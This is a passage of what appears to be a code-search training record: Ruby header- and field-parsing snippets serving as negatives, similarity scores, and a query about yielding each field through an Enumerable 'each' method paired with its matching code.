@child_field_groups[first_field].process_header(rest_of_header)\n \n end\n\n end",
"def header_fields\n header.fields\n end",
"def unpack_header(header)\n # fixed fields\n self.version = header.slice!(0)\n self.type = header.slice!(0)\n self.seq_no = header.slice!(0)\n self.flags = header.slice!(0)\n self.session_id = header.slice!(0..3)\n self.length = header.slice!(0..3)\n return(nil)\n end",
"def headers_from_array(arr)\n clear_headers\n arr = arr.split(\"\\r\\n\\r\\n\").first if arr.class == String\n arr.each do |line|\n next if (line.empty? || line =~ /^(GET|POST)/)\n k,v = line.split(\":\",2)\n self.headers[k.strip] = v.strip\n end\n nil\n end",
"def split_definition(raw_def)\n # removes extra newlines\n tokens = raw_def.strip.split(\"\\n\")\n tokens2 = tokens.map {|element| element.delete(\";\").strip}\nend",
"def contains_valid_headers(value)\n split_value = value.split(/\\n/)\n if split_value.size == 0 || split_value[4].nil?\n return false\n else\n if(split_value[0].index('/*').nil? || split_value[4].index('*/').nil?)\n return false\n else\n start_index = value.index('/*')\n return false if start_index.nil?\n end_index = value.index('*/', start_index+2)\n return false if end_index.nil?\n value = value[start_index+2..end_index-1]\n\n type_i = value.index('Type:')\n layer_i = value.index('Layer:')\n variation_i = value.index('Variation:')\n return false if type_i.nil? || layer_i.nil? || variation_i.nil?\n # sets the type, layer, variation as an array\n headers = [value[type_i+5..layer_i-1], value[layer_i+6..variation_i-1], value[variation_i+10..value.size]]\n # return it with each value stripped of nextline characters and extra white space\n return headers.collect { |c| c.gsub(/\\n|\\t/, '').strip }\n end\n end\n end",
"def preprocess_line line\n line.split(/,/).collect { |l| l.strip }\n end",
"def extract_headers_from(raw_headers)\n raw_headers.\n to_h.\n keep_if { |header, _value| pagination_headers.include?(header) }.\n transform_keys(&:to_sym).\n transform_values(&:to_i)\n end",
"def parse_header(string)\n {\n # identificação do registro header\n :tipo_registro => string[0..0].to_i,\n # identificação do arquivo retorno\n :codigo_retorno => string[1..1],\n # identificação por extenso do tipo de movimento\n :literal_retorno => string[2..8],\n # identificação do tipo de serviço\n :codigo_servico => string[9..10],\n # identificação por extenso do tipo de serviço\n :literal_servico => string[11..25],\n # agência mantenedora da conta\n :agencia => string[26..29],\n # complemento de registro\n :zeros => string[30..31],\n # número da conta corrente da empresa\n :conta => string[32..36],\n # dígito de auto-conferência ag/conta empresa\n :dac => string[37..37],\n # complemento do registro\n #:brancos1 => string[38..45],\n # nome por extenso da \"empresa mãe\"\n :nome_empresa => string[46..75],\n # número do banco na câmara de compensação\n :codigo_banco => string[76..78],\n # nome por extenso do banco cobrador\n :nome_banco => string[79..93].strip,\n # data de geração do arquivo\n :data_geracao => string[94..99],\n # unidade de densidade\n :densidade => string[100..104],\n # densidade de gravação do arquivo\n :unidade_densidade => string[105..107],\n # número sequencial do arquivo retorno\n :numero_sequencial_arquivo_retorno => string[108..112],\n # data de crédito dos lançamentos\n :data_credito => string[113..118],\n # complemento do registro\n #:brancos2 => string[119..393],\n # número sequencial do registro no arquivo\n :numero_sequencial => string[394..399]\n }\n end",
"def unify_headers(headers)\n lines = []\n headers.each_pair do |k, v|\n lines << v.map { |val| \"#{k}: #{val}\" }\n end\n\n logger.debug \"Unified headers #{lines.inspect}\" if logger_debug?\n lines.flatten.sort\n end",
"def split(parts); end",
"def test_parse_headers\n tmpdbfile = Tempfile.new('tmp.db')\n args = [\"--header\", \n \"--source\", \"header_test.csv\", \n \"--save-to\", tmpdbfile.path, \n \"--ifs=\" \",\",\n \"--table-name\",\"header_test\"]\n Csvql.run(args)\n\n db = SQLite3::Database.new tmpdbfile.path\n headers_from_db = db.execute2('select * from header_test;')[0]\n headers_from_file = File.open('header_test.csv').each_line.first.gsub(/\\n/,'').split(',')\n\n #binding.pry\n assert_equal headers_from_db, headers_from_file\n end",
"def extract_field(header, val, processed)\n return if val.blank?\n case header\n when 'type', 'accession_number', 'id', 'status', 'ark', 'call_number', 'preservation_level', 'visibility'\n # single valued fields\n processed[header.to_sym] = val\n when /^(created|issued|date_copyrighted|date_valid)_(.*)$/\n key = \"#{Regexp.last_match(1)}_attributes\".to_sym\n # TODO: this only handles one date of each type\n processed[key] ||= [{}]\n update_date(processed[key].first, Regexp.last_match(2), val)\n when 'collection_id'\n processed[:collections] ||= []\n processed[:collections] << { id: val }\n else\n last_entry = Array(processed[header.to_sym]).last\n if last_entry.is_a?(Hash) && !last_entry[:name]\n update_typed_field(header, val, processed)\n else\n extract_multi_value_field(header, val, processed)\n end\n end\n end",
"def remove_fws headers_with_fws\n\t\theaders = Array.new\n\t\theaders_with_fws.each_line do |line|\n\t\t\tnext if line =~ /^\\s+$/ # If line is empty\n\t\t\tnext if line =~ /^((?!:)[\\s\\S])*$/ && headers.size == 0 # If they're trying to pull a fast one\n\t\t\tline =~ /^\\s/ ? headers[-1] += line.strip : headers << line.strip\n\t\tend\n\t\theaders\n\tend",
"def header_fields\n @csv.headers\n end",
"def make_load_header(text_line)\n EdiHelper::edi_log.write \"LI PreProcessor: Creating missing LH record from LD record...\",0\n\n detail_data = RawFixedLenRecord.new('LI', 'LD', text_line)\n header_data = RawFixedLenRecord.new('LI', 'LH')\n ignore_fields = ['load_date', 'instruction_quantity']\n line = header_data.populate_with_values_from( detail_data, ignore_fields )\n\n EdiHelper::edi_log.write \"LI PreProcessor: Created missing LH record from LD record.\",0\n line\n end",
"def processed_header\n lineno = 0\n @processed_header ||= header.lines.map { |line|\n lineno += 1\n\n # Replace directive line with a clean break\n # Replace `#target` line with collect target application name\n\n unless directives.assoc(lineno).nil?\n \"\\n\"\n else\n \n line.scan(/^(\\#target) (\\S+.*?)$/) do |m1,m2|\n _app_name = m2.split(/[\\-|\\s]/).map{|x| x.gsub(/['|\"|;]/,\"\").downcase}\n _reg_name = Jsx::CS::REG_NAME[_app_name[0]]\n raise Jsx::Platform::UndeterminedApplicationError if _reg_name.nil?\n _vers = Jsx::CS::VERSIONS[_app_name[0]].invert\n _app_ver = (_app_name.size==1)? _vers[Jsx::CS::DEFAULTS[_app_name[0]]] : _app_name[1]\n line = line.gsub(m2,\"#{_reg_name}-#{_app_ver}\")\n end\n \n line\n end\n }.join.chomp\n end",
"def unquote_header(value)\n if value =~ QUOTED\n $1\n else\n value\n end\n end",
"def headers\n fields.map(&:name).map(&:to_sym)\n end",
"def fields\n return @fields if @fields\n @file.rewind\n @fields = @file.gets.split(@separator).map &:strip\n end",
"def header_to_hash data\n header = {}\n data = data.split(@opts[:delimiter])\n self.req[\"Verb\"], self.req[\"Url\"], self.req[\"Version\"] = data.shift.split(\" \", 3)\n data.each do |line|\n k,v = line.split(\":\", 2)\n if !@opts[:header_bl] || !(HEADER_BLACKLIST.include? k)\n header[k] = v.lstrip\n end\n end\n header\n end",
"def recordize line\n line.split(\"\\t\") rescue nil\n end",
"def empty_header_lines(txt)\n txt.gsub(/^\\[\\|[^\\]\\n]+\\](?=\\n)/, '')\n end",
"def headerName(header)\n begin\n header.split(\" \")[0]\n rescue\n \"\"\n end\nend",
"def parse_headers(headers_hash)\n header_string = \"\"\n for header in headers_hash.select { |k,v| k.match(\"^HTTP.*\") } do\n header_string += header[0]+\":\"+header[1]+\"|\"\n end\n return header_string\n end",
"def normalise_header(header_name)\n # Set a non-empty value of header if its missing\n header_name ||= 'empty'\n\n # Lower case header name\n header_name = header_name.downcase\n\n # Try normalising as if it was an alt. spelling header\n normalised_header ||= normalise_alt_spelling(header_name)\n\n # Try normalising as if it was a source-related header\n normalised_header ||= normalise_source_header(header_name)\n\n # If nothing matched thus far, use header_name as is\n normalised_header || header_name\n end",
"def read_group_file_headers(line)\n data = strip_and_split(line)\n\n header_cols = Hash.new\n\n data.each_with_index do |header, i|\n if header =~ /group/i\n header_cols[:group] = i\n elsif header =~ /color/i\n header_cols[:color] = i\n elsif header =~ /avg pheno/i\n header_cols[:phenoavg] = i\n elsif header =~ /std dev/i\n header_cols[:stddev] = i\n elsif header =~ /samples/i\n header_cols[:samples] = i\n elsif header =~ /Median/i\n header_cols[:median] = i\n elsif header =~ /25/i\n header_cols[:percent25] = i\n elsif header =~ /75/i\n header_cols[:percent75] = i\n elsif header =~ /Min/i\n header_cols[:min] = i\n elsif header =~ /Max/i\n header_cols[:max] = i\n end\n end\n\n return header_cols\nend",
"def cgi_parse_header(line); end",
"def transform_headers( str, rs )\n\t\t\[email protected] \" Transforming headers\"\n\n\t\t\t# Setext-style headers:\n\t\t\t#\t Header 1\n\t\t\t#\t ========\n\t\t\t#\n\t\t\t#\t Header 2\n\t\t\t#\t --------\n\t\t\t#\n\n\t\t\tsection_numbers = [nil, nil, nil, nil, nil]\n\n\t\t\tstr.\n\t\t\t\tgsub( HeaderRegexp ) {|m|\n\t\t\t\t\tif $1 then\n\t\t\t\t\t\[email protected] \"Found setext-style header\"\n\t\t\t\t\t\ttitle, id, hdrchar = $1, $2, $3\n\n\t\t\t\t\t\tcase hdrchar\n\t\t\t\t\t\twhen '='\n\t\t\t\t\t\t\tlevel = 1\n\t\t\t\t\t\twhen '-'\n\t\t\t\t\t\t\tlevel = 2\n\t\t\t\t\t\tend\n\t\t\t\t\telse\n\t\t\t\t\t\[email protected] \"Found ATX-style header\"\n\t\t\t\t\t\thdrchars, title, id = $4, $5, $6\n\t\t\t\t\t\tlevel = hdrchars.length\n\n\t\t\t\t\t\tif level >= 7 then\n\t\t\t\t\t\t\trs.warnings << \"illegal header level - h#{level} ('#' symbols are too many)\"\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\n\t\t\t\t\tprefix = ''\n\t\t\t\t\tif rs.numbering? then\n\t\t\t\t\t\tif level >= rs.numbering_start_level and level <= 6 then\n\t\t\t\t\t\t\tdepth = level - rs.numbering_start_level\n\n\t\t\t\t\t\t\tsection_numbers.each_index do |i|\n\t\t\t\t\t\t\t\tif i == depth and section_numbers[depth] then\n\t\t\t\t\t\t\t\t\t# increment a deepest number if current header's level equals last header's\n\t\t\t\t\t\t\t\t\tsection_numbers[i] += 1\n\t\t\t\t\t\t\t\telsif i <= depth then\n\t\t\t\t\t\t\t\t\t# set default number if nil\n\t\t\t\t\t\t\t\t\tsection_numbers[i] ||= 1\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t# clear discardeds\n\t\t\t\t\t\t\t\t\tsection_numbers[i] = nil\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tend\n\n\t\t\t\t\t\t\tno = ''\n\t\t\t\t\t\t\t(0..depth).each do |i|\n\t\t\t\t\t\t\t\tno << \"#{section_numbers[i]}.\"\n\t\t\t\t\t\t\tend\n\n\t\t\t\t\t\t\tprefix = \"#{no} \"\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\n\t\t\t\t\ttitle_html = apply_span_transforms( title, rs )\n\n\t\t\t\t\tunless id then\n\t\t\t\t\t\tcase rs.header_id_type\n\t\t\t\t\t\twhen HeaderIDType::ESCAPE\n\t\t\t\t\t\t\tid = escape_to_header_id(title_html)\n\t\t\t\t\t\t\tif rs.headers.find{|h| h.id == id} then\n\t\t\t\t\t\t\t\trs.warnings << \"header id collision - #{id}\"\n\t\t\t\t\t\t\t\tid = \"bfheader-#{Digest::MD5.hexdigest(title)}\"\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tid = \"bfheader-#{Digest::MD5.hexdigest(title)}\"\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\n\t\t\t\t\ttitle = \"#{prefix}#{title}\"\n\t\t\t\t\ttitle_html = \"#{prefix}#{title_html}\"\n\n\n\t\t\t\t\tunless id =~ IdRegexp then\n\t\t\t\t\t\trs.warnings << \"illegal header id - #{id} (legal chars: [a-zA-Z0-9_-.] | 1st: [a-zA-Z])\"\n\t\t\t\t\tend\n\n\t\t\t\t\tif rs.block_transform_depth == 1 then\n\t\t\t\t\t\trs.headers << RenderState::Header.new(id, level, title, title_html)\n\t\t\t\t\tend\n\n\t\t\t\t\tif @use_header_id then\n\t\t\t\t\t\t%{<h%d id=\"%s\">%s</h%d>\\n\\n} % [ level, id, title_html, level ]\n\t\t\t\t\telse\n\t\t\t\t\t\t%{<h%d>%s</h%d>\\n\\n} % [ level, title_html, level ]\n\t\t\t\t\tend\n\t\t\t\t}\n\t\tend",
"def fields(input_fields)\n output = input_fields.gsub(/[\\s,]/ , \" \")\n output_array = output.split\n return output_array\nend",
"def process_line(line)\n line.split ' '\n end",
"def header_build\n header = \"customer name\" + @delimiter + \"gender\" + @delimiter\n header += \"age\" + @delimiter + \"birthday\" + @delimiter + \"cpf\" + @delimiter + \"id\" + @delimiter\n header += \"state\" + @delimiter + \"city\" + @delimiter + \"street\" + @delimiter + \"zip_code\" + @delimiter\n header += \"company name\" + @delimiter + \"industry\" + @delimiter + \"cnpj\"\n header\nend",
"def split_line(line)\n tmpLine = line.clone\n chunks = []\n\n while tmpLine != ''\n tmpLine.sub!(/^\\s*/,\"\")\n tmpLine.sub!(/^([a-z0-9_\"]+)(\\((([^()]+|\\([^()]*\\))*)\\))?/i,\"\")\n break if $&.nil?\n chunks.push $& unless $& == ''\n end\n\n chunks\n end",
"def parse_header line, samples, options\n header = VcfHeader.new(options[:debug])\n header.add(line)\n print line if not options[:skip_header]\n STDIN.each_line do | headerline |\n if headerline !~ /^#/\n # If no records in VCF, we never get here\n line = headerline\n break # end of header\n end\n header.add(headerline)\n if not options[:skip_header]\n if headerline =~ /^#CHR/\n # The header before actual data contains the sample names, first inject the BioVcf meta information\n print header.tag(options),\"\\n\" if options[:tag] and not options[:skip_header]\n # Then the additional filter(s)\n # ##FILTER=<ID=LowQual,Description=\"Low quality\">\n add_filter = options[:add_filter]\n if add_filter\n print \"##FILTER=<ID=\",add_filter,\",Description=\\\"\",options[:filter],\"\\\">\\n\"\n end\n \n selected = header.column_names\n if samples\n newfields = selected[0..8]\n samples.each do |s|\n newfields << selected[s+9] \n end\n selected = newfields\n end\n print \"#\",selected.join(\"\\t\"),\"\\n\"\n else\n print headerline\n end\n end\n end\n print header.printable_header_line(options[:set_header]),\"\\n\" if options[:set_header]\n VcfRdf::header if options[:rdf]\n if line =~ /^#/\n # We did not read a record\n line = nil\n end\n return header,line\nend",
"def extract_headers\n header_set = []\n fi = File.open(@file_name, 'r')\n fi.each_line do |line|\n if line.include?('Temp(C)')\n\n line = line.scrub\n line.gsub!(/\\\\\"/, '')\n line.gsub!(/\\\"/, '')\n line.strip!\n line = line.split(',')\n line[0] = \"Timestamp\"\n header_set << line.join(',')\n end\n end\n header_set.uniq\nend"
] |
[
"0.67276764",
"0.67138535",
"0.67064935",
"0.6349347",
"0.6313839",
"0.62987614",
"0.622084",
"0.62110406",
"0.6208317",
"0.61789197",
"0.6071018",
"0.59929943",
"0.5979156",
"0.59777385",
"0.59702027",
"0.5953611",
"0.5934405",
"0.5908522",
"0.5889994",
"0.58756375",
"0.5854462",
"0.5834951",
"0.5833802",
"0.5801595",
"0.5779808",
"0.57664746",
"0.57407737",
"0.5736946",
"0.5724052",
"0.5721408",
"0.5718983",
"0.57002187",
"0.5691253",
"0.56907225",
"0.5679612",
"0.5679612",
"0.5652312",
"0.56224924",
"0.561632",
"0.5613989",
"0.55788726",
"0.5572925",
"0.55721253",
"0.5571641",
"0.55570024",
"0.5548523",
"0.54933715",
"0.5484315",
"0.5469038",
"0.5454486",
"0.54377866",
"0.5430417",
"0.5414292",
"0.541342",
"0.54043394",
"0.54036784",
"0.5385952",
"0.53835446",
"0.5382557",
"0.53803426",
"0.5379941",
"0.53778976",
"0.53647304",
"0.53617024",
"0.535075",
"0.53426313",
"0.53400683",
"0.53032076",
"0.5302268",
"0.529442",
"0.52896637",
"0.52861196",
"0.52839",
"0.5282031",
"0.52765036",
"0.52532154",
"0.5249449",
"0.52493304",
"0.5249297",
"0.5248437",
"0.52438426",
"0.52422076",
"0.52190346",
"0.5213749",
"0.52071524",
"0.5192925",
"0.518815",
"0.5180603",
"0.51792425",
"0.5173986",
"0.51684326",
"0.5165811",
"0.51490754",
"0.5142031",
"0.51397914",
"0.513024",
"0.5121227",
"0.51124483",
"0.5102358",
"0.51004314"
] |
0.7546162
|
0
|
Enumerable support; yield each field in order to the block if there is one, or return an Enumerator for them if there isn't.
|
def each( &block )
return self.fields.each( &block ) if block
self.fields.each
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def each( &blk ) #:yields: a Field or a Bitstruct\n @fields.each {|atom|\n if atom.is_a? Bitfield\n atom.fields.each {|f| yield f}\n else\n yield atom\n end\n }\n\n end",
"def each(&block)\n @fields.each(&block)\n end",
"def each\n return to_enum unless block_given?\n records.each { |record| yield record }\n end",
"def each # yields: name, value\n @fields.each { |i|\n yield [i.name, i.value]\n }\n end",
"def each_field &block\n @fields.each(&block)\n end",
"def each(&block)\n @fields.each do |f|\n n = f.name\n yield(n, @values[n])\n end\n self\n end",
"def each(&block)\n return enum_for(:each) unless block_given?\n \n # if using the block form only, don't \"next\" for internal iteration\n if @block && !@enum\n @block.call Enumerator::Yielder.new(&block)\n else\n rewind\n\n until end?\n yield self.next\n end\n end\n \n self\n end",
"def each_record\n return enum_for(:each_record) unless block_given?\n\n while (rec = record)\n yield rec\n end\n end",
"def deep_each( &blk ) #:yields: a Field\n @fields.each {|atom|\n if atom.is_a? Binstruct\n atom.deep_each &blk unless atom.fields.empty?\n else\n yield atom\n end\n }\n end",
"def each\n return enum_for unless block_given?\n\n while (chunk = read)\n yield chunk\n end\n end",
"def each()\n fields.each do |name|\n yield(name, instance_variable_get(\"@#{name}\".intern))\n end\n end",
"def each(&block)\n self.class.members.each{|field|\n block.call(self[field])\n }\n self\n end",
"def each_value\n return to_enum :each_value unless block_given?\n each_field_with_value do |_, _, value|\n yield value\n end\n end",
"def each_value\n @fields.each { |i|\n yield(i.value)\n }\n end",
"def each(&block)\n return enum_for(:each) unless block\n while rec = fetch\n block.call rec\n end\n self\n end",
"def each(&block)\n return enum_for(:each) unless block\n while rec = fetch\n block.call rec\n end\n self\n end",
"def each\n if block_given?\n while row = shift\n yield row\n end\n else\n to_enum\n end\n end",
"def each(delimiter, field_count, start_match, &block)\n return enum_for(__method__, delimiter, field_count, start_match) unless block_given?\n\n chunked = each_field(delimiter).chunk(&chunk_matches(start_match))\n\n yield_fields = lambda do |(_, chunk)|\n chunk.each(&block)\n (field_count - chunk.size).times { yield \"\" }\n end\n\n # Skip junk that might appear before the first start-of-fields match\n begin\n n, chunk = chunked.next\n yield_fields.call([n, chunk]) unless n.zero?\n rescue StopIteration\n return\n end\n\n chunked.each(&yield_fields)\n end",
"def each(&block)\n if block\n to_enum.each(&block)\n return nil\n else\n return to_enum\n end\n end",
"def each\n rewind\n return self.enum_for(:each) unless block_given?\n csv.each do |row|\n next unless out = convert_row(row)\n yield(out)\n end\n end",
"def each_field\n @_field_path.each do |field_|\n yield(field_, @_values[field_.name])\n end\n end",
"def each_row\n return enum_for(__method__) unless block_given?\n yield codec.decode( io ) until io.eof?\n end",
"def each\n return enum_for(:each) unless block_given?\n\n pointer = self\n loop do\n break if pointer.null?\n yield pointer\n pointer = pointer.next\n end\n end",
"def each\n return to_enum( :each ) unless block_given?\n @data.each { |ar| yield ar }\n end",
"def each_field_object # :nodoc:\n @_field_path.each do |field_|\n yield(field_, @_values[field_.name])\n end\n end",
"def each_field(delimiter)\n return enum_for(__method__, delimiter) unless block_given?\n\n read.each_line(delimiter) do |line|\n yield line.chomp(delimiter).encode(\"utf-8\", invalid: :replace)\n end\n end",
"def each_value\n return enum_for(__method__) unless block_given?\n @raw.each_value do |value|\n yield value\n end\n self\n end",
"def each(&block)\n return enum_for :each unless block\n\n @data.each(&block)\n\n self\n end",
"def each_byte\n return to_enum(:each_byte) unless block_given?\n @field.bytes.each{ |byte| yield byte }\n end",
"def each\n if block_given?\n records.each do |doc|\n yield doc\n end\n else\n to_enum\n end\n end",
"def each\n raise ResultsAlreadyConsumedException unless @unread\n\n if block_given?\n @unread = false\n @source.each { |row| yield symbolize_row_keys(row) }\n else\n Enumerator.new(self)\n end\n end",
"def each_field\n self.class.__send__(:sorted_fields).each do |_, field|\n value = __send__(field.name)\n yield(field, value)\n end\n end",
"def each\n return enum_for(__method__) unless block_given?\n @raw.each_pair do |key, value|\n yield key, value\n end\n self\n end",
"def each\n return enum_for(:each) unless block_given?\n\n @data.collection.each { |item| yield item }\n end",
"def each\n return enum_for(:each) unless block_given?\n\n item = @head\n\n while item do\n yield item.value\n item = item.next\n end\n end",
"def each\n enum = @head\n while (enum != nil) \n yield enum.value\n enum = enum.next\n end\n end",
"def each\n return enum_for :each unless block_given?\n\n return if @response.nil?\n\n # We trust that the field exists and is an Enumerable\n @response[@resource_field].each do |resource|\n resource = @format_resource.call resource if @format_resource\n yield resource\n end\n end",
"def each(&block)\n \n if (!block_given?)\n to_enum\n else\n parse_with_block(&block)\n end\n \n end",
"def each &block\n return enum_for(:each) unless block_given?\n if multiple?\n @value.each(&block)\n else\n yield @value\n end\n end",
"def each\n return to_enum :each unless block_given?\n\n loop do\n items = instance_exec(&@proc)\n\n items.each do |item|\n yield item\n end\n\n break if items.empty?\n end\n end",
"def each_with_index\n @h.seek(0, IO::SEEK_SET)\n\n i = 0\n while(record = @h.read(@record_size))\n yield(record, i)\n i += 1\n end\n end",
"def each\n return enum_for(:each) unless block_given?\n n = @head\n while n\n yield n.value\n n = n.next\n end\n end",
"def each\n body_parts = self.body.respond_to?(:each) ? self.body : [self.body]\n return body_parts.to_enum unless block_given?\n body_parts.each { |part| yield(part) }\n end",
"def each\n if block_given?\n rows.each do |row|\n yield row\n end\n self\n else\n to_enum(:each)\n end\n end",
"def each\n while row=self.next\n yield row\n end\n end",
"def each\n while row=self.next\n yield row\n end\n end",
"def each()\n cur = @first\n while cur\n yield cur.value\n cur = cur.next\n end\n end",
"def each\r\n record = @head\r\n while record\r\n yield record[:key], record[:value]\r\n record = record[:next]\r\n end\r\n end",
"def each\n if block_given?\n while @parser.has_next?\n event = @parser.pull\n # if it's the start of a record element\n if event.start_element? && (strip_ns(event[0]) == \"record\")\n yield build_record\n end\n end\n else\n enum_for(:each)\n end\n end",
"def each\n @records.each { |record| \n yield record\n }\n end",
"def each\n return enum_for unless block_given?\n\n loop do\n data = EXIF.exif_loader_get_data(self)\n\n if data.null?\n break\n end\n\n yield Data.new(data)\n end\n end",
"def each(&block)\n members.each do |member|\n value = self[member]\n yield(member, value) unless value.nil?\n end\n end",
"def each(&block)\n if block\n @block = block\n @parser.parse(@handle)\n else\n enum_for(:each)\n end\n end",
"def each\n while @cur_record_index < @num_records\n yield _read_next_record\n end if @opened\n end",
"def each\n store.read do |data|\n data[:columns][column].each do |id, contents| \n yield(Record.new(column, id, contents)) \n end\n end\n end",
"def each &block\n if block_given?\n iterate_each &block\n self\n else\n self.to_enum\n end\n end",
"def each_record\n return to_enum(:each_record) unless block_given?\n\n @relation.to_enum(:in_batches, of: @of, start: @start, finish: @finish, load: true).each do |relation|\n relation.records.each { |record| yield record }\n end\n end",
"def each\n if block_given?\n vals = []\n @query_schema.inputs.each_with_index do |input, i|\n vals << input.type.convert_from_ruby(@values[i])\n end\n @table.csv.each do |row|\n if @query_schema.inputs.zip(vals).all? {|input, val| row[input.pos] == val} and\n @query_schema.values.all? {|value| row[value.pos] == value.type.convert_from_ruby(value.value)}\n outputs = []\n cond = @query_schema.outputs.each do |output|\n val = row[output.pos]\n if output.options[:empty] == :ignore and val == \"\"\n break :break\n else\n outputs << output.type.convert_to_ruby(val)\n end\n end\n yield *outputs unless cond == :break\n end\n end\n else\n return Enumerator.new(self)\n end\n end",
"def each(&block)\n if block\n @block = block\n parser_dispatch\n else\n enum_for(:each)\n end\n end",
"def get_records_with_filter (&block)\n ui2 = @records_unpacked\n records = []\n\n ui2_size = ui2.size\n offset = 0\n ptr = ui2\n\n while(offset < ui2_size) do\n curr_record_type = ptr[0]\n record_size = ptr[1]\n offset += (record_size/2)\n\n yield records, curr_record_type, offset, ptr\n\n ptr = ptr[(record_size/2)..-1]\n end\n\n records\n end",
"def each\n return to_enum(:each) unless block_given?\n\n seek(:head)\n yield current_entry while move_next\n end",
"def each_pair(&block)\n self.class.members.each{|field|\n block.call(field.to_sym, self[field])\n }\n self\n end",
"def each\n while (part = readpartial)\n yield part\n end\n end",
"def _each\n Engine.new(local_copy.encoded_io, csv_options.merge(headers: headers)).each do |row|\n\n some_value_present = false\n\n if not headers\n\n # represent the row as an array\n array = row.map do |v|\n v = RemoteTable.normalize_whitespace v\n if not some_value_present and not keep_blank_rows and v.present?\n some_value_present = true\n end\n v\n end\n if some_value_present or keep_blank_rows\n yield array\n end\n\n else\n\n # represent the row as a hash\n hash = ::ActiveSupport::OrderedHash.new\n row.each do |k, v|\n v = RemoteTable.normalize_whitespace v\n if not some_value_present and not keep_blank_rows and v.present?\n some_value_present = true\n end\n hash[k] = v\n end\n if some_value_present or keep_blank_rows\n yield hash\n end\n\n end\n end\n ensure\n local_copy.cleanup\n end",
"def each\n 0.upto(@row_count-1) do |row|\n fields = []\n 0.upto(@col_count-1) do |col|\n fields << self[row, col]\n end\n yield fields\n end\n end",
"def each()\n yield izq\n yield der\n end",
"def _each(&block)\n _next.each(&block) if _next\n end",
"def each(&block)\n block or return enum_for(__method__)\n to_a.each(&block)\n self\n end",
"def each\n return enum_for :each unless block_given?\n\n # We trust that the field exists and is an Enumerable\n resources.each do |resource|\n resource = @format_resource.call resource if @format_resource\n yield resource\n end\n end",
"def each(&block)\n\t\t\t\treturn to_enum unless block_given?\n\t\t\t\t\n\t\t\t\twhile chunk = gets\n\t\t\t\t\tyield chunk\n\t\t\t\tend\n\t\t\tend",
"def each_row(&block)\n ::Enumerator.new { |enumerator|\n headers, eof = *self.read_headers\n\n until eof\n row, eof = *self.read_row\n\n unless eof\n enumerator << row\n end\n end\n }.each(&block)\n end",
"def each_raw\n iterator.each { |i| yield i }\n end",
"def each\n loop do\n val = self.next\n return if self.ended?\n yield val\n end\n end",
"def each\n return enum_for(:each) unless block_given?\n results.each(&Proc.new)\n self\n end",
"def each_record\n return enum_for(:each_record) unless block_given?\n\n c = record_cursor(:min)\n\n while (rec = c.record)\n yield rec\n end\n\n nil\n end",
"def each_with_iterator\n\n iterator = get_iterator_fast\n while (iterator.has_next?)\n yield iterator.get_next, iterator if block_given?\n end\n \n end",
"def select(&block)\n ary = []\n self.class.members.each{|field|\n val = self[field]\n ary.push(val) if block.call(val)\n }\n ary\n end",
"def each_field\n fields.merge(extension_fields).sort_by {|tag, _| tag}.each do |_, field|\n value = __send__(field.name)\n yield(field, value)\n end\n end",
"def each(&block)\n return enum_for(:each) unless block_given?\n visit { |node| yield node }\n self\n end",
"def each\n\t\titerator = @head\n\t\twhile iterator != nil do\n\t\t\tyield iterator.value\n\t\t\titerator = iterator.next\n\t\tend\n\tend",
"def get_field_iterator(selector = MessageFieldIterator.Selector_ALL_FIELDS)\n\t\tend",
"def each\n if block_given?\n to_a.each { |row| yield row }\n else\n to_a.each\n end\n end",
"def each_field\n self.form.form_fields.each do |field|\n yield field, self.data[field.name.to_sym]\n end\n end",
"def each\n while row = next_row\n yield row\n end\n return self\n end",
"def each(&block)\n enum = @relation.to_enum(:in_batches, of: @of, start: @start, finish: @finish, load: false, order: @order, use_ranges: @use_ranges)\n return enum.each(&block) if block_given?\n enum\n end",
"def _each\n delete_harmful!\n convert_eol_to_unix!\n transliterate_whole_file_to_utf8!\n skip_rows!\n\n Engine.new(local_copy.encoded_io, csv_options).each do |row|\n\n some_value_present = false\n\n if not headers\n\n # represent the row as an array\n array = row.map do |v|\n v = v.to_s\n if not some_value_present and not keep_blank_rows and v.present?\n some_value_present = true\n end\n v\n end\n if some_value_present or keep_blank_rows\n yield array\n end\n\n else\n\n # represent the row as a hash\n hash = ::ActiveSupport::OrderedHash.new\n row.each do |k, v|\n next unless k.present?\n v = v.to_s\n if not some_value_present and not keep_blank_rows and v.present?\n some_value_present = true\n end\n hash[k] = v\n end\n if some_value_present or keep_blank_rows\n yield hash\n end\n\n end\n end\n ensure\n local_copy.cleanup\n end",
"def each(&block)\n @records.each(&block)\n end",
"def each\n return to_enum(:each) unless block_given?\n loop do\n pair = next_pair\n break if pair.nil?\n yield(pair[0], pair[1])\n end\n end",
"def each_name\n @fields.each { |i|\n yield(i.name)\n }\n end",
"def each\n return enum_for(:each) unless block_given?\n while event = next_event\n yield event\n end\n end",
"def each\n\n rewind\n\n n,f,q,c=next_seq\n\n while (!n.nil?)\n yield(n,f,q,c)\n n,f,q,c=next_seq\n end\n\n rewind\n\n end",
"def each(&block)\n records.each(&block)\n end",
"def each\n if block_given?\n @enum.each { |t| yield t }\n self\n else\n to_enum(:each)\n end\n end",
"def each\r\n actual = @head\r\n while actual != nil do\r\n yield actual.value\r\n actual = actual.next\r\n end\r\n end",
"def each &block\n return enum_for(:each) unless block_given?\n ptr = @head\n while ptr\n yield ptr.value\n ptr = ptr.nxt\n end\n nil\n end",
"def each(&block)\n raise NotImplementedError\n end",
"def each\n if @length > 0\n item = @head\n begin\n yield item.object\n item = item.next\n end until item.nil?\n end\n end",
"def each(&block)\n block_given? ? all.each(&block) : all.to_enum\n end",
"def each()\n self.to_a.each { |elt| yield elt }\n end",
"def each\n yield get until eof?\n end"
] |
[
"0.70587695",
"0.7013422",
"0.6930019",
"0.687848",
"0.6869549",
"0.68246007",
"0.6721239",
"0.66432154",
"0.6612841",
"0.6609202",
"0.65901977",
"0.6584912",
"0.6556861",
"0.6550889",
"0.6543388",
"0.6543388",
"0.6515679",
"0.64985514",
"0.6489993",
"0.6396642",
"0.63918144",
"0.63670695",
"0.6358332",
"0.6348673",
"0.6338257",
"0.6305836",
"0.6288156",
"0.628132",
"0.6273592",
"0.6269994",
